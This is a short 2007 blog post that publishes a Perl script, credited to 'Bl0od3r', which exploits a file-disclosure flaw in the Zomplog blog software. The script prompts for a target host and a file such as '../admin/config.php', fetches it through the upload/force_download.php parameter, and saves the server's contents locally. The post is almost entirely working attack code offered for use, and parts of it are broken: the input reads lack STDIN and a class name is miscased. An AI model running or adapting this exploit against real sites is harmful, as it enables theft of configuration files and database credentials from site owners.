Monday, 1 January 2007

Zomplog local file inclusion

use LWP::UserAgent;

print "\n";
print "# Zomplog Remote Source View #\n";
print "\n";
print "\nHost:http://www.";
chomp($host=);
print "Path(like:/zomblog/):";
chomp($path=);
print "File(../admin/config.php):";
chomp($file=);
print "Save result to file?[y/n]";
chomp($save=);
$ua = LWP::UserAgent->new();

$ua->proxy(["http","ftp"], "");

$request =
http::Request->new("GET","http://".$host.".".$path."upload/force_download.php?file=".$file."");

$file = $ua->request($request);

if ($file->is_success()) {print "OK\n"}
else {

print $file->message();
}
if ($save eq "y") {
open(file, ">result.txt");
print file $file->content();
print $file->content();
}else {
print $file->content();
};
close (file);

#released by Bl0od3r

No comments: